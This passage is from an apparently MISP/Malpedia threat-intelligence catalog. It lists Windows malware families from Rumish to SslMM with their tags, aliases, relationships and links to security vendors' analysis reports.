https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear

Rumish

The tag is: *misp-galaxy:malpedia="Rumish"*

Rumish is also known as:

Table 1434. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rumish

running_rat

The tag is: *misp-galaxy:malpedia="running_rat"*

running_rat is also known as:

Table 1435. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.runningrat
https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/

Rurktar

The tag is: *misp-galaxy:malpedia="Rurktar"*

Rurktar is also known as:

- RCSU

Rurktar has relationships with:

- similar: misp-galaxy:rat="Rurktar" with estimative-language:likelihood-probability="likely"

Table 1436. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rurktar
https://www.gdatasoftware.com/blog/2017/07/29896-rurktar-spyware-under-construction

Rustock

The tag is: *misp-galaxy:malpedia="Rustock"*

Rustock is also known as:

Rustock has relationships with:

- similar: misp-galaxy:botnet="Rustock" with estimative-language:likelihood-probability="likely"

Table 1437. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rustock
https://www.secureworks.com/blog/research-21041
http://contagiodump.blogspot.com/2011/10/rustock-samples-and-analysis-links.html
https://www.usenix.org/legacy/event/hotbots07/tech/full_papers/chiang/chiang_html/index.html
http://blog.threatexpert.com/2008/05/rustockc-unpacking-nested-doll.html
http://blog.novirusthanks.org/2008/11/i-wormnuwarw-rustocke-variant-analysis/
http://sunbeltsecurity.com/dl/Rootkit%20Installation%20and%20Obfuscation%20in%20Rustock.pdf
http://www.drweb.com/upload/6c5e138f917290cb99224a8f8226354f_1210062403_DDOCUMENTSArticales_PRDrWEB_RustockC_eng.pdf

https://krebsonsecurity.com/2011/03/microsoft-hunting-rustock-controllers/

SAGE

The tag is: *misp-galaxy:malpedia="SAGE"*

SAGE is also known as:

- Saga

Table 1438. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sage_ransom
https://isc.sans.edu/forums/diary/Sage+20+Ransomware/21959/
https://www.govcert.admin.ch/blog/27/saga-2.0-comes-with-ip-generation-algorithm-ipga
https://blog.malwarebytes.com/threat-analysis/2017/03/explained-sage-ransomware/
http://malware-traffic-analysis.net/2017/10/13/index.html

Sakula RAT

Sakula / Sakurel is a trojan horse that opens a back door and downloads potentially malicious files onto the compromised computer.

The tag is: *misp-galaxy:malpedia="Sakula RAT"*

Sakula RAT is also known as:

- Sakurel

Sakula RAT has relationships with:

- similar: misp-galaxy:rat="Sakula" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="Sakula - S0074" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Sakula" with estimative-language:likelihood-probability="likely"

Table 1439. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sakula_rat
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/sakula-an-adventure-in-dll-planting/?page=1
https://github.com/nccgroup/Cyber-Defence/tree/master/Technical%20Notes/Sakula
https://www.symantec.com/security_response/writeup.jsp?docid=2014-022401-3212-99
https://www.secureworks.com/research/sakula-malware-family

Salgorea

The tag is: *misp-galaxy:malpedia="Salgorea"*

Salgorea is also known as:

Table 1440. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.salgorea
https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf

Sality

The tag is: *misp-galaxy:malpedia="Sality"*

Sality is also known as:

Sality has relationships with:

- similar: misp-galaxy:botnet="Sality" with estimative-language:likelihood-probability="likely"

Table 1441. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sality
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/sality_peer_to_peer_viral_network.pdf

SamSam

The tag is: *misp-galaxy:malpedia="SamSam"*

SamSam is also known as:

SamSam has relationships with:

- similar: misp-galaxy:ransomware="Samas-Samsam" with estimative-language:likelihood-probability="likely"

Table 1442. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.samsam
https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/samsam-ransomware-chooses-its-targets-carefully-wpna.aspx
https://nakedsecurity.sophos.com/2018/05/01/samsam-ransomware-a-mean-old-dog-with-a-nasty-new-trick-report/
http://blog.talosintel.com/2016/03/samsam-ransomware.html

http://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html
https://www.crowdstrike.com/blog/an-in-depth-analysis-of-samsam-ransomware-and-boss-spider/

Sanny

The tag is: *misp-galaxy:malpedia="Sanny"*

Sanny is also known as:

- Daws

Table 1443. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sanny
http://contagiodump.blogspot.com/2012/12/end-of-year-presents-continue.html

Sarhust

The tag is: *misp-galaxy:malpedia="Sarhust"*

Sarhust is also known as:

- Hussarini

Table 1444. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sarhust
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/bkdr_sarhust.a
https://www.fortinet.com/blog/threat-research/hussarini---targeted-cyber-attack-in-the-philippines.html

Satan Ransomware

The tag is: *misp-galaxy:malpedia="Satan Ransomware"*

Satan Ransomware is also known as:

Satan Ransomware has relationships with:

- similar: misp-galaxy:ransomware="Satan Ransomware" with estimative-language:likelihood-probability="likely"

Table 1445. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.satan

https://www.alienvault.com/blogs/labs-research/satan-ransomware-spawns-new-methods-to-spread
https://www.bleepingcomputer.com/news/security/new-satan-ransomware-available-through-a-ransomware-as-a-service-/
https://bartblaze.blogspot.com/2018/04/satan-ransomware-adds-eternalblue.html

Satana

The tag is: *misp-galaxy:malpedia="Satana"*

Satana is also known as:

Satana has relationships with:

- similar: misp-galaxy:ransomware="Satana" with estimative-language:likelihood-probability="likely"

Table 1446. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.satana
https://www.cylance.com/threat-spotlight-satan-raas

Sathurbot

The tag is: *misp-galaxy:malpedia="Sathurbot"*

Sathurbot is also known as:

Sathurbot has relationships with:

- similar: misp-galaxy:tool="Sathurbot" with estimative-language:likelihood-probability="likely"

Table 1447. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sathurbot
https://www.welivesecurity.com/2017/04/06/sathurbot-distributed-wordpress-password-attack/

ScanPOS

The tag is: *misp-galaxy:malpedia="ScanPOS"*

ScanPOS is also known as:

Table 1448. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.scanpos
https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware
https://www.morphick.com/resources/news/scanpos-new-pos-malware-being-distributed-kronos

Schneiken

Schneiken is a VBS 'Double-dropper'. It comes with two RATs embedded in the code (Dunihi and Ratty). Entire code is Base64 encoded.

The tag is: *misp-galaxy:malpedia="Schneiken"*

Schneiken is also known as:

Table 1449. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.schneiken
https://engineering.salesforce.com/malware-analysis-new-trojan-double-dropper-5ed0a943adb
https://github.com/vithakur/schneiken

Scote

The tag is: *misp-galaxy:malpedia="Scote"*

Scote is also known as:

Table 1450. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.scote
https://researchcenter.paloaltonetworks.com/2018/01/unit42-the-tophat-campaign-attacks-within-the-middle-east-region-using-popular-third-party-services/

ScreenLocker

The tag is: *misp-galaxy:malpedia="ScreenLocker"*

ScreenLocker is also known as:

Table 1451. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.screenlocker
https://twitter.com/struppigel/status/791535679905927168

SeaDaddy

The tag is: *misp-galaxy:malpedia="SeaDaddy"*

SeaDaddy is also known as:

SeaDaddy has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="SeaDuke - S0053" with estimative-language:likelihood-probability="likely"

Table 1452. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.seadaddy
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

SeaSalt

The tag is: *misp-galaxy:malpedia="SeaSalt"*

SeaSalt is also known as:

Table 1453. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.seasalt
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

SeDll

The tag is: *misp-galaxy:malpedia="SeDll"*

SeDll is also known as:

Table 1454. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sedll
https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

Sedreco

The tag is: *misp-galaxy:malpedia="Sedreco"*

Sedreco is also known as:

- azzy
- eviltoss

Sedreco has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="ADVSTORESHELL - S0045" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="EVILTOSS" with estimative-language:likelihood-probability="likely"

Table 1455. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sedreco
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/
http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf

Seduploader

The tag is: *misp-galaxy:malpedia="Seduploader"*

Seduploader is also known as:

- jhuhugit
- jkeyskw
- downrage
- carberplike

Seduploader has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="JHUHUGIT - S0044" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-

probability="likely"

Table 1456. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.seduploader
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf
http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-flash-zero-day-used-in-pawn-storm-campaign/
https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/
http://www.welivesecurity.com/2015/07/10/sednit-apt-group-meets-hacking-team/
https://www.welivesecurity.com/2017/05/09/sednit-adds-two-zero-day-exploits-using-trumps-attack-syria-decoy/
https://blog.xpnsec.com/apt28-hospitality-malware-part-2/
https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html
https://www.proofpoint.com/us/threat-insight/post/apt28-racing-exploit-cve-2017-11292-flash-vulnerability-patches-are-deployed
http://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/

SendSafe

The tag is: *misp-galaxy:malpedia="SendSafe"*

SendSafe is also known as:

Table 1457. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sendsafe

Serpico

The tag is: *misp-galaxy:malpedia="Serpico"*

Serpico is also known as:

Serpico has relationships with:

- similar: misp-galaxy:ransomware="Serpico" with estimative-language:likelihood-probability="likely"

Table 1458. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.serpico

ShadowPad

The tag is: *misp-galaxy:malpedia="ShadowPad"*

ShadowPad is also known as:

- XShellGhost

ShadowPad has relationships with:

- similar: misp-galaxy:tool="ShadowPad" with estimative-language:likelihood-probability="likely"

Table 1459. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad
https://securelist.com/shadowpad-in-corporate-networks/81432/
https://cdn.securelist.com/files/2017/08/ShadowPad_technical_description_PDF.pdf
http://www.dailysecu.com/?mod=bbs&act=download&bbs_id=bbs_10&upload_idxno=4070

Shakti

The tag is: *misp-galaxy:malpedia="Shakti"*

Shakti is also known as:

Table 1460. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shakti
https://blog.malwarebytes.com/threat-analysis/2016/08/shakti-trojan-technical-analysis/amp/
https://blog.malwarebytes.com/threat-analysis/2016/08/shakti-trojan-stealing-documents/

SHAPESHIFT

The tag is: *misp-galaxy:malpedia="SHAPESHIFT"*

SHAPESHIFT is also known as:

Table 1461. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shapeshift
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

shareip

The tag is: *misp-galaxy:malpedia="shareip"*

shareip is also known as:

- remotecmd

Table 1462. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shareip
https://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong

SHARPKNOT

The tag is: *misp-galaxy:malpedia="SHARPKNOT"*

SHARPKNOT is also known as:

- Bitrep

SHARPKNOT has relationships with:

- similar: misp-galaxy:tool="SHARPKNOT" with estimative-language:likelihood-probability="likely"

Table 1463. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpknot
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf
https://eromang.zataz.com/tag/agentbase-exe/

ShellLocker

The tag is: *misp-galaxy:malpedia="ShellLocker"*

ShellLocker is also known as:

Table 1464. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shelllocker
https://twitter.com/JaromirHorejsi/status/813726714228604928

Shifu

The tag is: *misp-galaxy:malpedia="Shifu"*

Shifu is also known as:

Shifu has relationships with:

- similar: misp-galaxy:tool="Shifu" with estimative-language:likelihood-probability="likely"

Table 1465. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shifu
http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/

Shim RAT

The tag is: *misp-galaxy:malpedia="Shim RAT"*

Shim RAT is also known as:

Table 1466. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shimrat
https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf

Shujin

The tag is: *misp-galaxy:malpedia="Shujin"*

Shujin is also known as:

Shujin has relationships with:

- similar: misp-galaxy:ransomware="Shujin" with estimative-language:likelihood-probability="likely"

Table 1467. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shujin
https://blog.trendmicro.com/trendlabs-security-intelligence/chinese-language-ransomware-makes-appearance/
http://www.nyxbone.com/malware/chineseRansom.html

Shurl0ckr

The tag is: *misp-galaxy:malpedia="Shurl0ckr"*

Shurl0ckr is also known as:

Table 1468. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shurl0ckr
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/shurl0ckr-ransomware-as-a-service-peddled-on-dark-web-can-reportedly-bypass-cloud-applications

Shylock

The tag is: *misp-galaxy:malpedia="Shylock"*

Shylock is also known as:

- Caphaw

Table 1469. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shylock
https://securityintelligence.com/merchant-of-fraud-returns-shylock-polymorphic-financial-malware-infections-on-the-rise/
https://securityintelligence.com/shylocks-new-trick-evading-malware-researchers/
https://www.europol.europa.eu/newsroom/news/global-action-targeting-shylock-malware
https://www.virusbulletin.com/virusbulletin/2015/02/paper-pluginer-caphaw
http://contagiodump.blogspot.com/2011/09/sept-21-greedy-shylock-financial.html
https://malwarereversing.wordpress.com/2011/09/27/debugging-injected-code-with-ida-pro/

win.sidewinder

The tag is: *misp-galaxy:malpedia="win.sidewinder"*

win.sidewinder is also known as:

Table 1470. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewinder
https://medium.com/@Sebdraven/apt-sidewinder-tricks-powershell-anti-forensics-and-execution-side-loading-5bc1a7e7c84c
https://s.tencent.com/research/report/479.html

Sierra(Alfa,Bravo, ...)

The tag is: *misp-galaxy:malpedia="Sierra(Alfa,Bravo, ...)"*

Sierra(Alfa,Bravo, ...) is also known as:

- Destover

Table 1471. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sierras
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group
https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/

Siggen6

The tag is: *misp-galaxy:malpedia="Siggen6"*

Siggen6 is also known as:

Table 1472. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.siggen6

Silence

The tag is: *misp-galaxy:malpedia="Silence"*

Silence is also known as:

Silence has relationships with:

- similar: misp-galaxy:tool="Silence" with estimative-language:likelihood-probability="likely"

Table 1473. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.silence
https://securelist.com/the-silence/83009/
http://www.intezer.com/silenceofthemoles/
https://www.group-ib.com/resources/threat-research/silence.html

Silon

The tag is: *misp-galaxy:malpedia="Silon"*

Silon is also known as:

Table 1474. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.silon
http://contagiodump.blogspot.com/2009/11/new-banking-trojan-w32silon-msjet51dll.html
http://www.internetnews.com/security/article.php/3846186/TwoHeaded+Trojan+Targets+Online+Banks.htm

Siluhdur

The tag is: *misp-galaxy:malpedia="Siluhdur"*

Siluhdur is also known as:

Table 1475. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.siluhdur

Simda

The tag is: *misp-galaxy:malpedia="Simda"*

Simda is also known as:

- iBank

Simda has relationships with:

- similar: misp-galaxy:botnet="Simda" with estimative-language:likelihood-probability="likely"

Table 1476. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.simda
https://secrary.com/ReversingMalware/iBank/

Sinowal

The tag is: *misp-galaxy:malpedia="Sinowal"*

Sinowal is also known as:

- Theola
- Quarian
- Mebroot
- Anserin
- Torpig

Sinowal has relationships with:

- similar: misp-galaxy:botnet="Torpig" with estimative-language:likelihood-probability="likely"

Table 1477. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sinowal
https://en.wikipedia.org/wiki/Torpig
https://www.symantec.com/security_response/writeup.jsp?docid=2008-010718-3448-99&tabid=2
https://www.welivesecurity.com/2013/03/13/how-theola-malware-uses-a-chrome-plugin-for-banking-fraud/
https://www.virusbulletin.com/virusbulletin/2014/06/sinowal-banking-trojan

Sisfader

The tag is: *misp-galaxy:malpedia="Sisfader"*

Sisfader is also known as:

Sisfader has relationships with:

- similar: misp-galaxy:rat="Sisfader" with estimative-language:likelihood-probability="likely"

Table 1478. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sisfader
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/june/cve-2017-8750-rtf-and-the-sisfader-rat/
https://medium.com/@Sebdraven/gobelin-panda-against-the-bears-1f462d00e3a4

Skarab Ransom

The tag is: *misp-galaxy:malpedia="Skarab Ransom"*

Skarab Ransom is also known as:

Table 1479. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.skarab_ransom
http://malware-traffic-analysis.net/2017/11/23/index.html

Skyplex

The tag is: *misp-galaxy:malpedia="Skyplex"*

Skyplex is also known as:

Table 1480. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.skyplex

Slave

The tag is: *misp-galaxy:malpedia="Slave"*

Slave is also known as:

Table 1481. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.slave
https://www.cert.pl/en/news/single/slave-banatrix-and-ransomware/

Slingshot

- 2012 first sighted
- Attack vector via compromised Microtik routers where victim's got infection when they connect to Microtik router admin software - Winbox
- 2018 when discovered by Kaspersky Team

Infection Vector - Infected Microtik Router > Malicious DLL (IP4.dll) in Router > User connect via windbox > Malicious DLL downloaded on computer

The tag is: *misp-galaxy:malpedia="Slingshot"*

Slingshot is also known as:

Table 1482. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.slingshot
https://securelist.com/apt-slingshot/84312/
https://s3-eu-west-1.amazonaws.com/khub-media/wp-content/uploads/sites/43/2018/03/09133534/The-Slingshot-APT_report_ENG_final.pdf

https://www.cyberscoop.com/kaspersky-slingshot-isis-operation-socom-five-eyes/

smac

The tag is: *misp-galaxy:malpedia="smac"*

smac is also known as:

- speccom

Table 1483. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smac
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/Aug.10.The_Italian_Connection_An_analysis_of_exploit_supply_chains_and_digital_quartermasters/HTExploitTelemetry.pdf

SmokeLoader

The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.

The tag is: *misp-galaxy:malpedia="SmokeLoader"*

SmokeLoader is also known as:

- Dofoil

SmokeLoader has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Smoke Loader - S0226" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Smoke Loader" with estimative-language:likelihood-probability="likely"

Table 1484. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader
https://cloudblogs.microsoft.com/microsoftsecure/2018/04/04/hunting-down-dofoil-with-windows-defender-atp/
https://eternal-todo.com/blog/smokeloader-analysis-yulia-photo
https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html
https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker/

https://info.phishlabs.com/blog/smoke-loader-adds-additional-obfuscation-methods-to-mitigate-analysis
https://www.spamhaus.org/news/article/774/smoke-loader-improves-encryption-after-microsoft-spoils-its-campaign
https://malwarebreakdown.com/2017/04/03/shadow-server-domains-leads-to-rig-exploit-kit-dropping-smoke-loader-which-downloads-neutrino-bot-aka-kasidet/
https://blog.malwarebytes.com/cybercrime/2018/01/fake-spectre-and-meltdown-patch-pushes-smoke-loader/
https://int0xcc.svbtle.com/a-taste-of-our-own-medicine-how-smokeloader-is-deceiving-dynamic-configuration-extraction-by-using-binary-code-as-bait
https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/
https://blog.badtrace.com/post/anti-hooking-checks-of-smokeloader-2018/
https://www.cert.pl/en/news/single/dissecting-smoke-loader/

Smominru

The tag is: *misp-galaxy:malpedia="Smominru"*

Smominru is also known as:

- Ismo

Smominru has relationships with:

- similar: misp-galaxy:banker="Smominru" with estimative-language:likelihood-probability="likely"

Table 1485. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smominru
https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators
http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/

SnatchLoader

A downloader trojan with some infostealer capabilities focused on the browser. Previously observed as part of RigEK campaigns.

The tag is: *misp-galaxy:malpedia="SnatchLoader"*

SnatchLoader is also known as:

Table 1486. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snatch_loader
https://myonlinesecurity.co.uk/your-order-no-8194788-has-been-processed-malspam-delivers-malware/
https://twitter.com/VK_Intel/status/898549340121288704
https://www.arbornetworks.com/blog/asert/snatchloader-reloaded/
https://zerophagemalware.com/2017/12/11/malware-snatch-loader-reloaded/

SNEEPY

The tag is: *misp-galaxy:malpedia="SNEEPY"*

SNEEPY is also known as:

- ByeByeShell

Table 1487. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sneepy
https://researchcenter.paloaltonetworks.com/2016/09/unit42-confucius-says-malware-families-get-further-by-abusing-legitimate-websites/

Snifula

The tag is: *misp-galaxy:malpedia="Snifula"*

Snifula is also known as:

- Ursnif

Snifula has relationships with:

- similar: misp-galaxy:tool="Snifula" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Gozi" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Gozi" with estimative-language:likelihood-probability="likely"

Table 1488. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snifula
https://www.circl.lu/assets/files/tr-13/tr-13-snifula-analysis-report-v1.3.pdf

Snojan

The tag is: *misp-galaxy:malpedia="Snojan"*

Snojan is also known as:

Table 1489. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snojan
https://medium.com/@jacob16682/snojan-analysis-bb3982fb1bb9

SNS Locker

The tag is: *misp-galaxy:malpedia="SNS Locker"*

SNS Locker is also known as:

Table 1490. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snslocker

Sobaken

According to ESET, this RAT was derived from (the open-source) Quasar RAT.

The tag is: *misp-galaxy:malpedia="Sobaken"*

Sobaken is also known as:

Table 1491. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sobaken
https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/

Socks5 Systemz

The tag is: *misp-galaxy:malpedia="Socks5 Systemz"*

Socks5 Systemz is also known as:

Table 1492. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.socks5_systemz

SocksBot

The tag is: *misp-galaxy:malpedia="SocksBot"*

SocksBot is also known as:

- BIRDDOG
- Nadrac

Table 1493. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.socksbot
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf
https://www.accenture.com/t00010101T000000Z*w*/gb-en/_acnmedia/PDF-83/Accenture-Goldfin-Security-Alert.pdf[https://www.accenture.com/t00010101T000000Z*w*/gb-en/_acnmedia/PDF-83/Accenture-Goldfin-Security-Alert.pdf]
https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html

Solarbot

The tag is: *misp-galaxy:malpedia="Solarbot"*

Solarbot is also known as:

- Napolar

Table 1494. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.solarbot
https://www.welivesecurity.com/2013/09/25/win32napolar-a-new-bot-on-the-block/
https://blog.malwarebytes.com/threat-analysis/2013/09/new-solarbot-malware-debuts-creator-publicly-advertising/

soraya

The tag is: *misp-galaxy:malpedia="soraya"*

soraya is also known as:

Table 1495. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.soraya
https://www.codeandsec.com/Soraya-Malware-Analysis-Dropper
https://www.arbornetworks.com/blog/asert/the-best-of-both-worlds-soraya/

Sorgu

The tag is: *misp-galaxy:malpedia="Sorgu"*

Sorgu is also known as:

Table 1496. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sorgu
https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east

SOUNDBITE

The tag is: *misp-galaxy:malpedia="SOUNDBITE"*

SOUNDBITE is also known as:

- denis

SOUNDBITE has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="SOUNDBITE - S0157" with estimative-language:likelihood-probability="likely"

Table 1497. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.soundbite
https://attack.mitre.org/wiki/Software/S0157
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

Spedear

The tag is: *misp-galaxy:malpedia="Spedear"*

Spedear is also known as:

Table 1498. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spedear
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets

Spora

The tag is: *misp-galaxy:malpedia="Spora"*

Spora is also known as:

Table 1499. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.spora_ransom
http://malware-traffic-analysis.net/2017/01/17/index2.html
https://github.com/MinervaLabsResearch/SporaVaccination
https://www.linkedin.com/pulse/spora-ransomware-understanding-hta-infection-vector-kevin-douglas
https://blog.malwarebytes.com/threat-analysis/2017/03/spora-ransomware/
https://nakedsecurity.sophos.com/2017/06/26/how-spora-ransomware-tries-to-fool-antivirus/
https://www.gdatasoftware.com/blog/2017/01/29442-spora-worm-and-ransomware

SpyBot

The tag is: *misp-galaxy:malpedia="SpyBot"*

SpyBot is also known as:

Table 1500. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spybot

Spy-Net

The tag is: *misp-galaxy:malpedia="Spy-Net"*

Spy-Net is also known as:

Spy-Net has relationships with:

- similar: misp-galaxy:malpedia="unidentified_005" with estimative-language:likelihood-probability="likely"

Table 1501. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spynet_rat

SquirtDanger

The tag is: *misp-galaxy:malpedia="SquirtDanger"*

SquirtDanger is also known as:

Table 1502. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.squirtdanger

https://researchcenter.paloaltonetworks.com/2018/04/unit42-squirtdanger-swiss-army-knife-malware-veteran-malware-author-thebottle/

SslMM

The tag is: *misp-galaxy:malpedia="SslMM"*

SslMM is also known as:

SslMM has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="SslMM - S0058" with estimative-language:likelihood-probability="likely"

Table 1503. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sslmm
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
